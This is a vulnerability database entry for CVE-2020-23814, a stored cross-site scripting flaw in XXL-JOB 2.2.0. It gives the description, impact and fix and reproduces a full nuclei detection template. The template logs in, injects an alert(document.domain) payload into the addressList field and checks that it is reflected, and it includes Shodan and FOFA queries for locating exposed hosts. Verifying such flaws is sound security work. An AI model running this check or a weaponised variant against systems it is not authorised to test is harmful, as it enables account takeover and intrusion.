HexBrain

Browse / CVEs / CVE-2020-23814

CVE-2020-23814· xuxueli / xxl-job· CWE-79

XXL-JOB v2.2.0 — Stored Cross Site Scripting

mediumseverity
6.1CVSS score
1.4%likelihood of exploitation, next 30 days
73%of all CVEs are less likely
Readycheck to confirm it

Multiple cross-site scripting (XSS) vulnerabilities in xxl-job v2.2.0 allow remote attackers to inject arbitrary web script or HTML via (1) AppName and (2)AddressList parameter in JobGroupController.java file.

Impact

Authenticated attackers can inject malicious JavaScript through the AppName and AddressList parameters, potentially stealing admin session cookies or performing administrative actions on behalf of authenticated users.

Fix

Upgrade to XXL-JOB version 2.2.1 or later.

How to confirm it

Send: POST /xxl-job-admin/login
Positive when: status_code == 200 and contains(content_type, "application/json") and contains(body, "\"code\":200")
Send: GET /xxl-job-admin/
Positive when: status_code == 200 and contains(content_type, "text/html") and contains(body, "<b>XXL-JOB</b> 2.2.0")
Send: POST /xxl-job-admin/jobgroup/save
Positive when: status_code == 200 and contains(content_type, "application/json") and contains(body, "\"code\":200")
Send: POST /xxl-job-admin/jobgroup/pageList
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "{{title}}","alert(document.domain)")

Run it with nuclei: nuclei -id CVE-2020-23814 -u <target>

The full check
id: CVE-2020-23814

info:
  name: XXL-JOB v2.2.0 — Stored Cross Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Multiple cross-site scripting (XSS) vulnerabilities in xxl-job v2.2.0 allow remote attackers to inject arbitrary web script or HTML via (1) AppName and (2)AddressList parameter in JobGroupController.java file.
  impact: |
    Authenticated attackers can inject malicious JavaScript through the AppName and AddressList parameters, potentially stealing admin session cookies or performing administrative actions on behalf of authenticated users.
  remediation: |
    Upgrade to XXL-JOB version 2.2.1 or later.
  reference:
    - https://github.com/xuxueli/xxl-job/issues/1866
    - https://www.ccsq8.com/issues.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-23814
    cwe-id: CWE-79
    epss-score: 0.01434
    epss-percentile: 0.73307
    cpe: cpe:2.3:a:xuxueli:xxl-job:2.2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: xuxueli
    product: xxl-job
    shodan-query:
      - http.html:"/xxl-job-admin/static/favicon.ico"
      - http.favicon.hash:"1691956220"
    fofa-query:
      - app="xxl-job"
      - icon_hash=1691956220
  tags: cve,cve2020,xxl-job,xss,authenticated,vkev,vuln

flow: http(1) && http(2) && http(3) && http(4)

variables:
  username: "{{username}}"
  password: "{{password}}"
  title: "{{to_lower(rand_base(6))}}"

http:
  - raw:
      - |
        POST /xxl-job-admin/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Origin: {{RootURL}}
        Referer: {{RootURL}}/xxl-job-admin/toLogin
        X-Requested-With: XMLHttpRequest

        userName={{username}}&password={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "\"code\":200")'
        condition: and
        internal: true

  - raw:
      - |
        GET /xxl-job-admin/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<b>XXL-JOB</b> 2.2.0")'
        condition: and
        internal: true

  - raw:
      - |
        POST /xxl-job-admin/jobgroup/save HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Origin: {{RootURL}}
        Referer: {{RootURL}}/xxl-job-admin/jobgroup
        X-Requested-With: XMLHttpRequest

        appname={{title}}&title={{title}}&addressType=1&addressList=<img src=# onerror=\"alert(document.domain)\" />

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "\"code\":200")'
        condition: and
        internal: true

  - raw:
      - |
        POST /xxl-job-admin/jobgroup/pageList HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Origin: {{RootURL}}
        Referer: {{RootURL}}/xxl-job-admin/jobgroup
        X-Requested-With: XMLHttpRequest

        start=0&length=100

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "{{title}}","alert(document.domain)")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from